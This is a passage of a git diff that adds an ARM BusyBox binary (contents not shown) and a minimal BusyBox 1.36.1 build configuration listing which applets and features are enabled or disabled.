+ + + + + + diff --git a/busybox/arm/busybox b/busybox/arm/busybox new file mode 100644 index 0000000..cf1a933 Binary files /dev/null and b/busybox/arm/busybox differ diff --git a/busybox/busybox-tiny-2.config b/busybox/busybox-tiny-2.config new file mode 100644 index 0000000..271b89e --- /dev/null +++ b/busybox/busybox-tiny-2.config @@ -0,0 +1,1203 @@ +# +# Automatically generated make config: don't edit +# Busybox version: 1.36.1 +# Tue Oct 1 05:18:31 2024 +# +CONFIG_HAVE_DOT_CONFIG=y + +# +# Settings +# +CONFIG_DESKTOP=y +# CONFIG_EXTRA_COMPAT is not set +# CONFIG_FEDORA_COMPAT is not set +CONFIG_INCLUDE_SUSv2=y +CONFIG_LONG_OPTS=y +CONFIG_SHOW_USAGE=y +CONFIG_FEATURE_VERBOSE_USAGE=y +CONFIG_FEATURE_COMPRESS_USAGE=y +CONFIG_LFS=y +# CONFIG_PAM is not set +CONFIG_FEATURE_DEVPTS=y +CONFIG_FEATURE_UTMP=y +CONFIG_FEATURE_WTMP=y +CONFIG_FEATURE_PIDFILE=y +CONFIG_PID_FILE_PATH="/var/run" +CONFIG_BUSYBOX=y +CONFIG_FEATURE_SHOW_SCRIPT=y +CONFIG_FEATURE_INSTALLER=y +# CONFIG_INSTALL_NO_USR is not set +CONFIG_FEATURE_SUID=y +CONFIG_FEATURE_SUID_CONFIG=y +CONFIG_FEATURE_SUID_CONFIG_QUIET=y +# CONFIG_FEATURE_PREFER_APPLETS is not set +CONFIG_BUSYBOX_EXEC_PATH="/proc/self/exe" +# CONFIG_SELINUX is not set +# CONFIG_FEATURE_CLEAN_UP is not set +# CONFIG_FEATURE_SYSLOG_INFO is not set +# CONFIG_FEATURE_SYSLOG is not set + +# +# Build Options +# +# CONFIG_STATIC is not set +# CONFIG_PIE is not set +# CONFIG_NOMMU is not set +# CONFIG_BUILD_LIBBUSYBOX is not set +# CONFIG_FEATURE_LIBBUSYBOX_STATIC is not set +# CONFIG_FEATURE_INDIVIDUAL is not set +# CONFIG_FEATURE_SHARED_BUSYBOX is not set +CONFIG_CROSS_COMPILER_PREFIX="" +CONFIG_SYSROOT="" +CONFIG_EXTRA_CFLAGS="" +CONFIG_EXTRA_LDFLAGS="" +CONFIG_EXTRA_LDLIBS="" +# CONFIG_USE_PORTABLE_CODE is not set +CONFIG_STACK_OPTIMIZATION_386=y +CONFIG_STATIC_LIBGCC=y + +# +# Installation Options ("make install" behavior) +# +CONFIG_INSTALL_APPLET_SYMLINKS=y +# CONFIG_INSTALL_APPLET_HARDLINKS is not set +# CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS is not set +# CONFIG_INSTALL_APPLET_DONT is not set +# CONFIG_INSTALL_SH_APPLET_SYMLINK is not set +# CONFIG_INSTALL_SH_APPLET_HARDLINK is not set +# CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER is not set +CONFIG_PREFIX="./_install" + +# +# Debugging Options +# +# CONFIG_DEBUG is not set +# CONFIG_DEBUG_PESSIMIZE is not set +# CONFIG_DEBUG_SANITIZE is not set +# CONFIG_UNIT_TEST is not set +# CONFIG_WERROR is not set +# CONFIG_WARN_SIMPLE_MSG is not set +CONFIG_NO_DEBUG_LIB=y +# CONFIG_DMALLOC is not set +# CONFIG_EFENCE is not set + +# +# Library Tuning +# +# CONFIG_FEATURE_USE_BSS_TAIL is not set +CONFIG_FLOAT_DURATION=y +CONFIG_FEATURE_RTMINMAX=y +CONFIG_FEATURE_RTMINMAX_USE_LIBC_DEFINITIONS=y +CONFIG_FEATURE_BUFFERS_USE_MALLOC=y +# CONFIG_FEATURE_BUFFERS_GO_ON_STACK is not set +# CONFIG_FEATURE_BUFFERS_GO_IN_BSS is not set +CONFIG_PASSWORD_MINLEN=6 +CONFIG_MD5_SMALL=1 +CONFIG_SHA1_SMALL=3 +CONFIG_SHA1_HWACCEL=y +CONFIG_SHA256_HWACCEL=y +CONFIG_SHA3_SMALL=1 +CONFIG_FEATURE_NON_POSIX_CP=y +# CONFIG_FEATURE_VERBOSE_CP_MESSAGE is not set +CONFIG_FEATURE_USE_SENDFILE=y +CONFIG_FEATURE_COPYBUF_KB=4 +CONFIG_MONOTONIC_SYSCALL=y +CONFIG_IOCTL_HEX2STR_ERROR=y +CONFIG_FEATURE_EDITING=y +CONFIG_FEATURE_EDITING_MAX_LEN=1024 +# CONFIG_FEATURE_EDITING_VI is not set +CONFIG_FEATURE_EDITING_HISTORY=255 +CONFIG_FEATURE_EDITING_SAVEHISTORY=y +# CONFIG_FEATURE_EDITING_SAVE_ON_EXIT is not set +CONFIG_FEATURE_REVERSE_SEARCH=y +CONFIG_FEATURE_TAB_COMPLETION=y +CONFIG_FEATURE_USERNAME_COMPLETION=y +CONFIG_FEATURE_EDITING_FANCY_PROMPT=y +CONFIG_FEATURE_EDITING_WINCH=y +# CONFIG_FEATURE_EDITING_ASK_TERMINAL is not set +# CONFIG_LOCALE_SUPPORT is not set +CONFIG_UNICODE_SUPPORT=y +# CONFIG_UNICODE_USING_LOCALE is not set +# CONFIG_FEATURE_CHECK_UNICODE_IN_ENV is not set +CONFIG_SUBST_WCHAR=63 +CONFIG_LAST_SUPPORTED_WCHAR=767 +# CONFIG_UNICODE_COMBINING_WCHARS is not set +# CONFIG_UNICODE_WIDE_WCHARS is not set +# CONFIG_UNICODE_BIDI_SUPPORT is not set +# CONFIG_UNICODE_NEUTRAL_TABLE is not set +# CONFIG_UNICODE_PRESERVE_BROKEN is not set +# CONFIG_LOOP_CONFIGURE is not set +# CONFIG_NO_LOOP_CONFIGURE is not set +CONFIG_TRY_LOOP_CONFIGURE=y + +# +# Applets +# + +# +# Archival Utilities +# +# CONFIG_FEATURE_SEAMLESS_XZ is not set +# CONFIG_FEATURE_SEAMLESS_LZMA is not set +# CONFIG_FEATURE_SEAMLESS_BZ2 is not set +# CONFIG_FEATURE_SEAMLESS_GZ is not set +# CONFIG_FEATURE_SEAMLESS_Z is not set +# CONFIG_AR is not set +# CONFIG_FEATURE_AR_LONG_FILENAMES is not set +# CONFIG_FEATURE_AR_CREATE is not set +# CONFIG_UNCOMPRESS is not set +# CONFIG_GUNZIP is not set +# CONFIG_ZCAT is not set +# CONFIG_FEATURE_GUNZIP_LONG_OPTIONS is not set +# CONFIG_BUNZIP2 is not set +# CONFIG_BZCAT is not set +# CONFIG_UNLZMA is not set +# CONFIG_LZCAT is not set +# CONFIG_LZMA is not set +# CONFIG_UNXZ is not set +# CONFIG_XZCAT is not set +# CONFIG_XZ is not set +# CONFIG_BZIP2 is not set +CONFIG_BZIP2_SMALL=0 +# CONFIG_FEATURE_BZIP2_DECOMPRESS is not set +# CONFIG_CPIO is not set +# CONFIG_FEATURE_CPIO_O is not set +# CONFIG_FEATURE_CPIO_P is not set +# CONFIG_FEATURE_CPIO_IGNORE_DEVNO is not set +# CONFIG_FEATURE_CPIO_RENUMBER_INODES is not set +# CONFIG_DPKG is not set +# CONFIG_DPKG_DEB is not set +# CONFIG_GZIP is not set +# CONFIG_FEATURE_GZIP_LONG_OPTIONS is not set +CONFIG_GZIP_FAST=0 +# CONFIG_FEATURE_GZIP_LEVELS is not set +# CONFIG_FEATURE_GZIP_DECOMPRESS is not set +# CONFIG_LZOP is not set +# CONFIG_UNLZOP is not set +# CONFIG_LZOPCAT is not set +# CONFIG_LZOP_COMPR_HIGH is not set +# CONFIG_RPM is not set +# CONFIG_RPM2CPIO is not set +# CONFIG_TAR is not set +# CONFIG_FEATURE_TAR_LONG_OPTIONS is not set +# CONFIG_FEATURE_TAR_CREATE is not set +# CONFIG_FEATURE_TAR_AUTODETECT is not set +# CONFIG_FEATURE_TAR_FROM is not set +# CONFIG_FEATURE_TAR_OLDGNU_COMPATIBILITY is not set +# CONFIG_FEATURE_TAR_OLDSUN_COMPATIBILITY is not set +# CONFIG_FEATURE_TAR_GNU_EXTENSIONS is not set +# CONFIG_FEATURE_TAR_TO_COMMAND is not set +# CONFIG_FEATURE_TAR_UNAME_GNAME is not set +# CONFIG_FEATURE_TAR_NOPRESERVE_TIME is not set +# CONFIG_FEATURE_TAR_SELINUX is not set +# CONFIG_UNZIP is not set +# CONFIG_FEATURE_UNZIP_CDF is not set +# CONFIG_FEATURE_UNZIP_BZIP2 is not set +# CONFIG_FEATURE_UNZIP_LZMA is not set +# CONFIG_FEATURE_UNZIP_XZ is not set +# CONFIG_FEATURE_LZMA_FAST is not set + +# +# Coreutils +# +CONFIG_FEATURE_VERBOSE=y + +# +# Common options for date and touch +# +CONFIG_FEATURE_TIMEZONE=y + +# +# Common options for cp and mv +# +# CONFIG_FEATURE_PRESERVE_HARDLINKS is not set +# CONFIG_FEATURE_HUMAN_READABLE is not set +# CONFIG_BASENAME is not set +# CONFIG_CAT is not set +# CONFIG_FEATURE_CATN is not set +# CONFIG_FEATURE_CATV is not set +# CONFIG_CHGRP is not set +CONFIG_CHMOD=y +# CONFIG_CHOWN is not set +# CONFIG_FEATURE_CHOWN_LONG_OPTIONS is not set +CONFIG_CHROOT=y +# CONFIG_CKSUM is not set +# CONFIG_CRC32 is not set +# CONFIG_COMM is not set +CONFIG_CP=y +CONFIG_FEATURE_CP_LONG_OPTIONS=y +CONFIG_FEATURE_CP_REFLINK=y +# CONFIG_CUT is not set +# CONFIG_FEATURE_CUT_REGEX is not set +# CONFIG_DATE is not set +# CONFIG_FEATURE_DATE_ISOFMT is not set +# CONFIG_FEATURE_DATE_NANO is not set +# CONFIG_FEATURE_DATE_COMPAT is not set +# CONFIG_DD is not set +# CONFIG_FEATURE_DD_SIGNAL_HANDLING is not set +# CONFIG_FEATURE_DD_THIRD_STATUS_LINE is not set +# CONFIG_FEATURE_DD_IBS_OBS is not set +# CONFIG_FEATURE_DD_STATUS is not set +# CONFIG_DF is not set +# CONFIG_FEATURE_DF_FANCY is not set +# CONFIG_FEATURE_SKIP_ROOTFS is not set +# CONFIG_DIRNAME is not set +# CONFIG_DOS2UNIX is not set +# CONFIG_UNIX2DOS is not set +# CONFIG_DU is not set +# CONFIG_FEATURE_DU_DEFAULT_BLOCKSIZE_1K is not set +# CONFIG_ECHO is not set +# CONFIG_FEATURE_FANCY_ECHO is not set +# CONFIG_ENV is not set +# CONFIG_EXPAND is not set +# CONFIG_UNEXPAND is not set +# CONFIG_EXPR is not set +# CONFIG_EXPR_MATH_SUPPORT_64 is not set +# CONFIG_FACTOR is not set +# CONFIG_FALSE is not set +# CONFIG_FOLD is not set +# CONFIG_HEAD is not set +# CONFIG_FEATURE_FANCY_HEAD is not set +# CONFIG_HOSTID is not set +# CONFIG_ID is not set +# CONFIG_GROUPS is not set +# CONFIG_INSTALL is not set +# CONFIG_FEATURE_INSTALL_LONG_OPTIONS is not set +# CONFIG_LINK is not set +# CONFIG_LN is not set +# CONFIG_LOGNAME is not set +# CONFIG_LS is not set +# CONFIG_FEATURE_LS_FILETYPES is not set +# CONFIG_FEATURE_LS_FOLLOWLINKS is not set +# CONFIG_FEATURE_LS_RECURSIVE is not set +# CONFIG_FEATURE_LS_WIDTH is not set +# CONFIG_FEATURE_LS_SORTFILES is not set +# CONFIG_FEATURE_LS_TIMESTAMPS is not set +# CONFIG_FEATURE_LS_USERNAME is not set +# CONFIG_FEATURE_LS_COLOR is not set +# CONFIG_FEATURE_LS_COLOR_IS_DEFAULT is not set +# CONFIG_MD5SUM is not set +# CONFIG_SHA1SUM is not set +# CONFIG_SHA256SUM is not set +# CONFIG_SHA512SUM is not set +# CONFIG_SHA3SUM is not set +# CONFIG_FEATURE_MD5_SHA1_SUM_CHECK is not set +# CONFIG_MKDIR is not set +# CONFIG_MKFIFO is not set +# CONFIG_MKNOD is not set +# CONFIG_MKTEMP is not set +# CONFIG_MV is not set +# CONFIG_NICE is not set +# CONFIG_NL is not set +# CONFIG_NOHUP is not set +# CONFIG_NPROC is not set +# CONFIG_OD is not set +# CONFIG_PASTE is not set +# CONFIG_PRINTENV is not set +# CONFIG_PRINTF is not set +# CONFIG_PWD is not set +# CONFIG_READLINK is not set +# CONFIG_FEATURE_READLINK_FOLLOW is not set +# CONFIG_REALPATH is not set +# CONFIG_RM is not set +# CONFIG_RMDIR is not set +# CONFIG_SEQ is not set +# CONFIG_SHRED is not set +# CONFIG_SHUF is not set +# CONFIG_SLEEP is not set +# CONFIG_FEATURE_FANCY_SLEEP is not set +# CONFIG_SORT is not set +# CONFIG_FEATURE_SORT_BIG is not set +# CONFIG_FEATURE_SORT_OPTIMIZE_MEMORY is not set +# CONFIG_SPLIT is not set +# CONFIG_FEATURE_SPLIT_FANCY is not set +# CONFIG_STAT is not set +# CONFIG_FEATURE_STAT_FORMAT is not set +# CONFIG_FEATURE_STAT_FILESYSTEM is not set +# CONFIG_STTY is not set +# CONFIG_SUM is not set +# CONFIG_SYNC is not set +# CONFIG_FEATURE_SYNC_FANCY is not set +# CONFIG_FSYNC is not set +# CONFIG_TAC is not set +# CONFIG_TAIL is not set +# CONFIG_FEATURE_FANCY_TAIL is not set +# CONFIG_TEE is not set +# CONFIG_FEATURE_TEE_USE_BLOCK_IO is not set +# CONFIG_TEST is not set +# CONFIG_TEST1 is not set +# CONFIG_TEST2 is not set +# CONFIG_FEATURE_TEST_64 is not set +# CONFIG_TIMEOUT is not set +# CONFIG_TOUCH is not set +# CONFIG_FEATURE_TOUCH_SUSV3 is not set +# CONFIG_TR is not set +# CONFIG_FEATURE_TR_CLASSES is not set +# CONFIG_FEATURE_TR_EQUIV is not set +# CONFIG_TRUE is not set +# CONFIG_TRUNCATE is not set +# CONFIG_TSORT is not set +# CONFIG_TTY is not set +# CONFIG_UNAME is not set +CONFIG_UNAME_OSNAME="" +# CONFIG_BB_ARCH is not set +# CONFIG_UNIQ is not set +# CONFIG_UNLINK is not set +# CONFIG_USLEEP is not set +# CONFIG_UUDECODE is not set +# CONFIG_BASE32 is not set +# CONFIG_BASE64 is not set +# CONFIG_UUENCODE is not set +# CONFIG_WC is not set +# CONFIG_FEATURE_WC_LARGE is not set +# CONFIG_WHO is not set +# CONFIG_W is not set +# CONFIG_USERS is not set +# CONFIG_WHOAMI is not set +# CONFIG_YES is not set + +# +# Console Utilities +# +# CONFIG_CHVT is not set +# CONFIG_CLEAR is not set +# CONFIG_DEALLOCVT is not set +# CONFIG_DUMPKMAP is not set +# CONFIG_FGCONSOLE is not set +# CONFIG_KBD_MODE is not set +# CONFIG_LOADFONT is not set +# CONFIG_SETFONT is not set +# CONFIG_FEATURE_SETFONT_TEXTUAL_MAP is not set +CONFIG_DEFAULT_SETFONT_DIR="" +# CONFIG_FEATURE_LOADFONT_PSF2 is not set +# CONFIG_FEATURE_LOADFONT_RAW is not set +# CONFIG_LOADKMAP is not set +# CONFIG_OPENVT is not set +# CONFIG_RESET is not set +# CONFIG_RESIZE is not set +# CONFIG_FEATURE_RESIZE_PRINT is not set +# CONFIG_SETCONSOLE is not set +# CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS is not set +# CONFIG_SETKEYCODES is not set +# CONFIG_SETLOGCONS is not set +# CONFIG_SHOWKEY is not set + +# +# Debian Utilities +# +# CONFIG_PIPE_PROGRESS is not set +# CONFIG_RUN_PARTS is not set +# CONFIG_FEATURE_RUN_PARTS_LONG_OPTIONS is not set +# CONFIG_FEATURE_RUN_PARTS_FANCY is not set +# CONFIG_START_STOP_DAEMON is not set +# CONFIG_FEATURE_START_STOP_DAEMON_LONG_OPTIONS is not set +# CONFIG_FEATURE_START_STOP_DAEMON_FANCY is not set +# CONFIG_WHICH is not set + +# +# klibc-utils +# +# CONFIG_MINIPS is not set +# CONFIG_NUKE is not set +# CONFIG_RESUME is not set +# CONFIG_RUN_INIT is not set + +# +# Editors +# +# CONFIG_AWK is not set +# CONFIG_FEATURE_AWK_LIBM is not set +# CONFIG_FEATURE_AWK_GNU_EXTENSIONS is not set +# CONFIG_CMP is not set +# CONFIG_DIFF is not set +# CONFIG_FEATURE_DIFF_LONG_OPTIONS is not set +# CONFIG_FEATURE_DIFF_DIR is not set +# CONFIG_ED is not set +# CONFIG_PATCH is not set +# CONFIG_SED is not set +# CONFIG_VI is not set +CONFIG_FEATURE_VI_MAX_LEN=0 +# CONFIG_FEATURE_VI_8BIT is not set +# CONFIG_FEATURE_VI_COLON is not set +# CONFIG_FEATURE_VI_COLON_EXPAND is not set +# CONFIG_FEATURE_VI_YANKMARK is not set +# CONFIG_FEATURE_VI_SEARCH is not set +# CONFIG_FEATURE_VI_REGEX_SEARCH is not set +# CONFIG_FEATURE_VI_USE_SIGNALS is not set +# CONFIG_FEATURE_VI_DOT_CMD is not set +# CONFIG_FEATURE_VI_READONLY is not set +# CONFIG_FEATURE_VI_SETOPTS is not set +# CONFIG_FEATURE_VI_SET is not set +# CONFIG_FEATURE_VI_WIN_RESIZE is not set +# CONFIG_FEATURE_VI_ASK_TERMINAL is not set +# CONFIG_FEATURE_VI_UNDO is not set +# CONFIG_FEATURE_VI_UNDO_QUEUE is not set +CONFIG_FEATURE_VI_UNDO_QUEUE_MAX=0 +# CONFIG_FEATURE_VI_VERBOSE_STATUS is not set +# CONFIG_FEATURE_ALLOW_EXEC is not set + +# +# Finding Utilities +# +# CONFIG_FIND is not set +# CONFIG_FEATURE_FIND_PRINT0 is not set +# CONFIG_FEATURE_FIND_MTIME is not set +# CONFIG_FEATURE_FIND_ATIME is not set +# CONFIG_FEATURE_FIND_CTIME is not set +# CONFIG_FEATURE_FIND_MMIN is not set +# CONFIG_FEATURE_FIND_AMIN is not set +# CONFIG_FEATURE_FIND_CMIN is not set +# CONFIG_FEATURE_FIND_PERM is not set +# CONFIG_FEATURE_FIND_TYPE is not set +# CONFIG_FEATURE_FIND_EXECUTABLE is not set +# CONFIG_FEATURE_FIND_XDEV is not set +# CONFIG_FEATURE_FIND_MAXDEPTH is not set +# CONFIG_FEATURE_FIND_NEWER is not set +# CONFIG_FEATURE_FIND_INUM is not set +# CONFIG_FEATURE_FIND_SAMEFILE is not set +# CONFIG_FEATURE_FIND_EXEC is not set +# CONFIG_FEATURE_FIND_EXEC_PLUS is not set +# CONFIG_FEATURE_FIND_USER is not set +# CONFIG_FEATURE_FIND_GROUP is not set +# CONFIG_FEATURE_FIND_NOT is not set +# CONFIG_FEATURE_FIND_DEPTH is not set +# CONFIG_FEATURE_FIND_PAREN is not set +# CONFIG_FEATURE_FIND_SIZE is not set +# CONFIG_FEATURE_FIND_PRUNE is not set +# CONFIG_FEATURE_FIND_QUIT is not set +# CONFIG_FEATURE_FIND_DELETE is not set +# CONFIG_FEATURE_FIND_EMPTY is not set +# CONFIG_FEATURE_FIND_PATH is not set +# CONFIG_FEATURE_FIND_REGEX is not set +# CONFIG_FEATURE_FIND_CONTEXT is not set +# CONFIG_FEATURE_FIND_LINKS is not set +# CONFIG_GREP is not set +# CONFIG_EGREP is not set +# CONFIG_FGREP is not set +# CONFIG_FEATURE_GREP_CONTEXT is not set +# CONFIG_XARGS is not set +# CONFIG_FEATURE_XARGS_SUPPORT_CONFIRMATION is not set +# CONFIG_FEATURE_XARGS_SUPPORT_QUOTES is not set +# CONFIG_FEATURE_XARGS_SUPPORT_TERMOPT is not set +# CONFIG_FEATURE_XARGS_SUPPORT_ZERO_TERM is not set +# CONFIG_FEATURE_XARGS_SUPPORT_REPL_STR is not set +# CONFIG_FEATURE_XARGS_SUPPORT_PARALLEL is not set +# CONFIG_FEATURE_XARGS_SUPPORT_ARGS_FILE is not set + +# +# Init Utilities +# +# CONFIG_BOOTCHARTD is not set +# CONFIG_FEATURE_BOOTCHARTD_BLOATED_HEADER is not set +# CONFIG_FEATURE_BOOTCHARTD_CONFIG_FILE is not set +# CONFIG_HALT is not set +# CONFIG_POWEROFF is not set +# CONFIG_REBOOT is not set +# CONFIG_FEATURE_WAIT_FOR_INIT is not set +# CONFIG_FEATURE_CALL_TELINIT is not set +CONFIG_TELINIT_PATH="" +# CONFIG_INIT is not set +# CONFIG_LINUXRC is not set +# CONFIG_FEATURE_USE_INITTAB is not set +# CONFIG_FEATURE_KILL_REMOVED is not set +CONFIG_FEATURE_KILL_DELAY=0 +# CONFIG_FEATURE_INIT_SCTTY is not set +# CONFIG_FEATURE_INIT_SYSLOG is not set +# CONFIG_FEATURE_INIT_QUIET is not set +# CONFIG_FEATURE_INIT_COREDUMPS is not set +CONFIG_INIT_TERMINAL_TYPE="" +# CONFIG_FEATURE_INIT_MODIFY_CMDLINE is not set + +# +# Login/Password Management Utilities +# +# CONFIG_FEATURE_SHADOWPASSWDS is not set +# CONFIG_USE_BB_PWD_GRP is not set +# CONFIG_USE_BB_SHADOW is not set +# CONFIG_USE_BB_CRYPT is not set +# CONFIG_USE_BB_CRYPT_SHA is not set +# CONFIG_ADD_SHELL is not set +# CONFIG_REMOVE_SHELL is not set +# CONFIG_ADDGROUP is not set +# CONFIG_FEATURE_ADDUSER_TO_GROUP is not set +# CONFIG_ADDUSER is not set +# CONFIG_FEATURE_CHECK_NAMES is not set +CONFIG_LAST_ID=0 +CONFIG_FIRST_SYSTEM_ID=0 +CONFIG_LAST_SYSTEM_ID=0 +# CONFIG_CHPASSWD is not set +CONFIG_FEATURE_DEFAULT_PASSWD_ALGO="" +# CONFIG_CRYPTPW is not set +# CONFIG_MKPASSWD is not set +# CONFIG_DELUSER is not set +# CONFIG_DELGROUP is not set +# CONFIG_FEATURE_DEL_USER_FROM_GROUP is not set +# CONFIG_GETTY is not set +# CONFIG_LOGIN is not set +# CONFIG_LOGIN_SESSION_AS_CHILD is not set +# CONFIG_LOGIN_SCRIPTS is not set +# CONFIG_FEATURE_NOLOGIN is not set +# CONFIG_FEATURE_SECURETTY is not set +# CONFIG_PASSWD is not set +# CONFIG_FEATURE_PASSWD_WEAK_CHECK is not set +# CONFIG_SU is not set +# CONFIG_FEATURE_SU_SYSLOG is not set +# CONFIG_FEATURE_SU_CHECKS_SHELLS is not set +# CONFIG_FEATURE_SU_BLANK_PW_NEEDS_SECURE_TTY is not set +# CONFIG_SULOGIN is not set +# CONFIG_VLOCK is not set + +# +# Linux Ext2 FS Progs +# +# CONFIG_CHATTR is not set +# CONFIG_FSCK is not set +# CONFIG_LSATTR is not set +# CONFIG_TUNE2FS is not set + +# +# Linux Module Utilities +# +# CONFIG_MODPROBE_SMALL is not set +# CONFIG_DEPMOD is not set +# CONFIG_INSMOD is not set +# CONFIG_LSMOD is not set +# CONFIG_FEATURE_LSMOD_PRETTY_2_6_OUTPUT is not set +# CONFIG_MODINFO is not set +# CONFIG_MODPROBE is not set +# CONFIG_FEATURE_MODPROBE_BLACKLIST is not set +# CONFIG_RMMOD is not set + +# +# Options common to multiple modutils +# +# CONFIG_FEATURE_CMDLINE_MODULE_OPTIONS is not set +# CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED is not set +# CONFIG_FEATURE_2_4_MODULES is not set +# CONFIG_FEATURE_INSMOD_VERSION_CHECKING is not set +# CONFIG_FEATURE_INSMOD_KSYMOOPS_SYMBOLS is not set +# CONFIG_FEATURE_INSMOD_LOADINKMEM is not set +# CONFIG_FEATURE_INSMOD_LOAD_MAP is not set +# CONFIG_FEATURE_INSMOD_LOAD_MAP_FULL is not set +# CONFIG_FEATURE_CHECK_TAINTED_MODULE is not set +# CONFIG_FEATURE_INSMOD_TRY_MMAP is not set +# CONFIG_FEATURE_MODUTILS_ALIAS is not set +# CONFIG_FEATURE_MODUTILS_SYMBOLS is not set +CONFIG_DEFAULT_MODULES_DIR="" +CONFIG_DEFAULT_DEPMOD_FILE="" + +# +# Linux System Utilities +# +# CONFIG_ACPID is not set +# CONFIG_FEATURE_ACPID_COMPAT is not set +# CONFIG_BLKDISCARD is not set +# CONFIG_BLKID is not set +# CONFIG_FEATURE_BLKID_TYPE is not set +# CONFIG_BLOCKDEV is not set +# CONFIG_CAL is not set +# CONFIG_CHRT is not set +# CONFIG_DMESG is not set +# CONFIG_FEATURE_DMESG_PRETTY is not set +# CONFIG_EJECT is not set +# CONFIG_FEATURE_EJECT_SCSI is not set +# CONFIG_FALLOCATE is not set +# CONFIG_FATATTR is not set +# CONFIG_FBSET is not set +# CONFIG_FEATURE_FBSET_FANCY is not set +# CONFIG_FEATURE_FBSET_READMODE is not set +# CONFIG_FDFORMAT is not set +# CONFIG_FDISK is not set +# CONFIG_FDISK_SUPPORT_LARGE_DISKS is not set +# CONFIG_FEATURE_FDISK_WRITABLE is not set +# CONFIG_FEATURE_AIX_LABEL is not set +# CONFIG_FEATURE_SGI_LABEL is not set +# CONFIG_FEATURE_SUN_LABEL is not set +# CONFIG_FEATURE_OSF_LABEL is not set +# CONFIG_FEATURE_GPT_LABEL is not set +# CONFIG_FEATURE_FDISK_ADVANCED is not set +# CONFIG_FINDFS is not set +# CONFIG_FLOCK is not set +# CONFIG_FDFLUSH is not set +# CONFIG_FREERAMDISK is not set +# CONFIG_FSCK_MINIX is not set +# CONFIG_FSFREEZE is not set +# CONFIG_FSTRIM is not set +# CONFIG_GETOPT is not set +# CONFIG_FEATURE_GETOPT_LONG is not set +# CONFIG_HEXDUMP is not set +# CONFIG_HD is not set +# CONFIG_XXD is not set +# CONFIG_HWCLOCK is not set +# CONFIG_FEATURE_HWCLOCK_ADJTIME_FHS is not set +# CONFIG_IONICE is not set +# CONFIG_IPCRM is not set +# CONFIG_IPCS is not set +# CONFIG_LAST is not set +# CONFIG_FEATURE_LAST_FANCY is not set +# CONFIG_LOSETUP is not set +# CONFIG_LSPCI is not set +# CONFIG_LSUSB is not set +# CONFIG_MDEV is not set +# CONFIG_FEATURE_MDEV_CONF is not set +# CONFIG_FEATURE_MDEV_RENAME is not set +# CONFIG_FEATURE_MDEV_RENAME_REGEXP is not set +# CONFIG_FEATURE_MDEV_EXEC is not set +# CONFIG_FEATURE_MDEV_LOAD_FIRMWARE is not set +# CONFIG_FEATURE_MDEV_DAEMON is not set +# CONFIG_MESG is not set +# CONFIG_FEATURE_MESG_ENABLE_ONLY_GROUP is not set +# CONFIG_MKE2FS is not set +# CONFIG_MKFS_EXT2 is not set +# CONFIG_MKFS_MINIX is not set +# CONFIG_FEATURE_MINIX2 is not set +# CONFIG_MKFS_REISER is not set +# CONFIG_MKDOSFS is not set +# CONFIG_MKFS_VFAT is not set +# CONFIG_MKSWAP is not set +# CONFIG_FEATURE_MKSWAP_UUID is not set +# CONFIG_MORE is not set +# CONFIG_MOUNT is not set +# CONFIG_FEATURE_MOUNT_FAKE is not set +# CONFIG_FEATURE_MOUNT_VERBOSE is not set +# CONFIG_FEATURE_MOUNT_HELPERS is not set +# CONFIG_FEATURE_MOUNT_LABEL is not set +# CONFIG_FEATURE_MOUNT_NFS is not set +# CONFIG_FEATURE_MOUNT_CIFS is not set +# CONFIG_FEATURE_MOUNT_FLAGS is not set +# CONFIG_FEATURE_MOUNT_FSTAB is not set +# CONFIG_FEATURE_MOUNT_OTHERTAB is not set +# CONFIG_MOUNTPOINT is not set +# CONFIG_NOLOGIN is not set +# CONFIG_NOLOGIN_DEPENDENCIES is not set +# CONFIG_NSENTER is not set +# CONFIG_PIVOT_ROOT is not set +# CONFIG_RDATE is not set +# CONFIG_RDEV is not set +# CONFIG_READPROFILE is not set +# CONFIG_RENICE is not set +# CONFIG_REV is not set +# CONFIG_RTCWAKE is not set +# CONFIG_SCRIPT is not set +# CONFIG_SCRIPTREPLAY is not set +# CONFIG_SETARCH is not set +# CONFIG_LINUX32 is not set +# CONFIG_LINUX64 is not set +# CONFIG_SETPRIV is not set +# CONFIG_FEATURE_SETPRIV_DUMP is not set +# CONFIG_FEATURE_SETPRIV_CAPABILITIES is not set +# CONFIG_FEATURE_SETPRIV_CAPABILITY_NAMES is not set +# CONFIG_SETSID is not set +# CONFIG_SWAPON is not set +# CONFIG_FEATURE_SWAPON_DISCARD is not set +# CONFIG_FEATURE_SWAPON_PRI is not set +# CONFIG_SWAPOFF is not set +# CONFIG_FEATURE_SWAPONOFF_LABEL is not set +# CONFIG_SWITCH_ROOT is not set +# CONFIG_TASKSET is not set +# CONFIG_FEATURE_TASKSET_FANCY is not set +# CONFIG_FEATURE_TASKSET_CPULIST is not set +# CONFIG_UEVENT is not set +# CONFIG_UMOUNT is not set +# CONFIG_FEATURE_UMOUNT_ALL is not set +# CONFIG_UNSHARE is not set +# CONFIG_WALL is not set +# CONFIG_FEATURE_MOUNT_LOOP is not set +# CONFIG_FEATURE_MOUNT_LOOP_CREATE is not set +# CONFIG_FEATURE_MTAB_SUPPORT is not set +# CONFIG_VOLUMEID is not set +# CONFIG_FEATURE_VOLUMEID_BCACHE is not set +# CONFIG_FEATURE_VOLUMEID_BTRFS is not set +# CONFIG_FEATURE_VOLUMEID_CRAMFS is not set +# CONFIG_FEATURE_VOLUMEID_EROFS is not set +# CONFIG_FEATURE_VOLUMEID_EXFAT is not set +# CONFIG_FEATURE_VOLUMEID_EXT is not set +# CONFIG_FEATURE_VOLUMEID_F2FS is not set +# CONFIG_FEATURE_VOLUMEID_FAT is not set +# CONFIG_FEATURE_VOLUMEID_HFS is not set +# CONFIG_FEATURE_VOLUMEID_ISO9660 is not set +# CONFIG_FEATURE_VOLUMEID_JFS is not set +# CONFIG_FEATURE_VOLUMEID_LFS is not set +# CONFIG_FEATURE_VOLUMEID_LINUXRAID is not set +# CONFIG_FEATURE_VOLUMEID_LINUXSWAP is not set +# CONFIG_FEATURE_VOLUMEID_LUKS is not set +# CONFIG_FEATURE_VOLUMEID_MINIX is not set +# CONFIG_FEATURE_VOLUMEID_NILFS is not set +# CONFIG_FEATURE_VOLUMEID_NTFS is not set +# CONFIG_FEATURE_VOLUMEID_OCFS2 is not set +# CONFIG_FEATURE_VOLUMEID_REISERFS is not set +# CONFIG_FEATURE_VOLUMEID_ROMFS is not set +# 